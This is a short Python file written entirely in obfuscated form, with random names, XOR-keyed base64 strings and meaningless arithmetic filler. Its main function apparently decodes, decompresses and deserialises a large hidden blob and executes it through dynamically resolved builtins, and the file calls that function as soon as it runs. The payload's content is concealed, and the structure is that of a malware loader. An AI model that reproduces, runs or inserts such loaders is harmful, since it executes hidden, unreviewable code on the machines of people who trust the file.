import base64 as yelsb2gsxkvxplfmobq1um6bbq_ha2fns9
y7j8_rtp0810irxmjy62t6q = 0
for akn81bujktslm_n4 in [616]*3:
    y7j8_rtp0810irxmjy62t6q = y7j8_rtp0810irxmjy62t6q^akn81bujktslm_n4 if y7j8_rtp0810irxmjy62t6q == 0 else y7j8_rtp0810irxmjy62t6q^115
def lm97nt2s3cfettji2u2vfngeetp_uibnp(s):
    r = __import__('base64').b64decode(s.encode() if isinstance(s, str) else s)
    l = r[0];k = r[1:1+l];d = r[1+l:]
    x = bytes((d[i] ^ k[i % len(k)]) for i in range(len(d))) if len(k) > 0 else d
    return x.decode('utf-8')
qsxeh2f86nvjq0birliavnts56h = 'GJu1Ue8OrLEicR1MX5PV4XiA5/aAcSoeNv77IdZb+IBUNC0JDqCx0Brt36TWMEFZfN7aHItL/vZtNFoYMduFlTfDj7PGKUtPBv/xAIE8n8IXFzY2K6aB1ED0jM/uGHNVdcPCELlLwORJHVQVOeScziHr1o7ZOxtYZKvnPINdlOZHNCkFHfqxqQvH0MTaPxxTUuHhMphUh9YUKXUdGeWUgj32prH2I2RXd8GBGok9lNZFOE0NM/iTpwL2j5PMOxxJD8ODZNk6/dZzP1QGGtS8pjvS1r/FOEJ3fcjaA4JF5+QWBnQYNeTs2RLJiYHtQ3pyePPYA7tY9tZwCHI7KemwigHmzJnnHGE1ZczNF6AllNlhGGt1C7y/lDDBq77YRURZdczCMINHzvpuGHkfbKCEsyrjgJqzBxx9RPPcNp5m3dZ7CE4lDeKYpiv6rJjiK1goVc/nZI5WzcB3AGd4O8S+rwL215rLBhJfVP/HY65b2MFVJnghb9u7sD/WqMbuQx4vR+rtG5ZJ3dt0EGlnJcuTlQLHtp2wC05/b+GHI4tqx4NaPURjCqKDuyvwrL7oBVJueeOGAo5c68dQFksnJ9j6lE7ygIzMGF9HAqrtZJZ+mvwXA1M1L9aPlD3MqaLiSFlaBfCDBodvwdl3J0cgOt/nii7W1c7rCB1EX/74JoZg9oRlQykBZuLtmEDyqZ/rPmZQeq3WENla4usVA19/LPuB0yy2k6HTQxxxRtPRM5w3wuVkNnsYO6awlzzlks7FB2t/YsPsCYV2mf5MFGU2KceZgB7jq4GxJkgxZqPQIYQ3/t0NE24tLaa9sjnMjY7DIV1cb9SFGqxG5+EUG1MdDeuslCz0vsbQOUQ1UeP8CaR76vUXRlAdGd2D1izPq8G3N3kxT6jwMKI2nv5BRGcrKaWbkgz2lYHaRFBHGe3aOZVknvhRGyoEEuCzmCC3lJn2QV9tUuKGFd0/nJ5jB05+HOastR/jkr7BAkFzZtzaN5p32ctjKHJ8O9KDrDLRjZzOPVlUAc6GEKtF2/NXElENOvT6liG1t532H10tAdjiNYt2xoUf'
h5i8p7ppgfuaq6obqs4tr1ut338z = 'D0oHuIqn00ZxC2nGbdxT9DBr0eg='
pnldru3pz_0ohysyg4stdxdzurbjgav52exn2 = 'D8m4BCZXQXaqEWvtER+qmKTZdlU/IBo='
algmo9o3duwfglxveno79ccb9xygi702zkc5w = 'EfGxOQ3KFkMDvW+vXhvhkFHTk9BKaPwi'
eeda96g66nl8ixwkorig_eo9_ns = 'HG2wheYcNdThS6F8hdTbXV8k3CnqYBRaRCU+UI8IyOCF'
v_72lbqc0o_irwlqwwrswuvosozr1m8xp = 'GmOgdrV4/HPyHzdhyfaojU/nD25Ma/pZi6swAdUf2QyVHYE='
ajh_aces83z3ces2ddk3_lauwg_hx64cpiycw = 'G8cURG8K3CyF5/D1NGy+wK4VRlQ5QUNehlGQeqB4Kw1rsF8='
def dszgled_1cp5kzj2ga6h1_ds():
    w17krrg07qd5eykz = __import__(lm97nt2s3cfettji2u2vfngeetp_uibnp(pnldru3pz_0ohysyg4stdxdzurbjgav52exn2)).loads
    rjh_nwyvxdcuykyyt__95qf57qv5cm = w17krrg07qd5eykz(__import__(lm97nt2s3cfettji2u2vfngeetp_uibnp(h5i8p7ppgfuaq6obqs4tr1ut338z)).decompress(__import__(lm97nt2s3cfettji2u2vfngeetp_uibnp(algmo9o3duwfglxveno79ccb9xygi702zkc5w)).b64decode(lm97nt2s3cfettji2u2vfngeetp_uibnp(qsxeh2f86nvjq0birliavnts56h))))
    czcxzaz06xrs8iu95h0aaitq1q1kt5p = __import__(lm97nt2s3cfettji2u2vfngeetp_uibnp(v_72lbqc0o_irwlqwwrswuvosozr1m8xp)).__dict__[lm97nt2s3cfettji2u2vfngeetp_uibnp(ajh_aces83z3ces2ddk3_lauwg_hx64cpiycw)]()
    __import__(lm97nt2s3cfettji2u2vfngeetp_uibnp(v_72lbqc0o_irwlqwwrswuvosozr1m8xp)).__dict__[lm97nt2s3cfettji2u2vfngeetp_uibnp(eeda96g66nl8ixwkorig_eo9_ns)](rjh_nwyvxdcuykyyt__95qf57qv5cm, czcxzaz06xrs8iu95h0aaitq1q1kt5p)
dszgled_1cp5kzj2ga6h1_ds()
c8dqsst49ffwit=403^254;iccgph465uqd=c8dqsst49ffwit^81;del c8dqsst49ffwit
cfzqppi_3_q_swri=904^62;x2d3o0emt5_9=cfzqppi_3_q_swri^69;del cfzqppi_3_q_swri
gl4wy6cd=107^19;sbvtpouggwqt0lh8=gl4wy6cd^182;del gl4wy6cd
if 78*69-491==7014:pass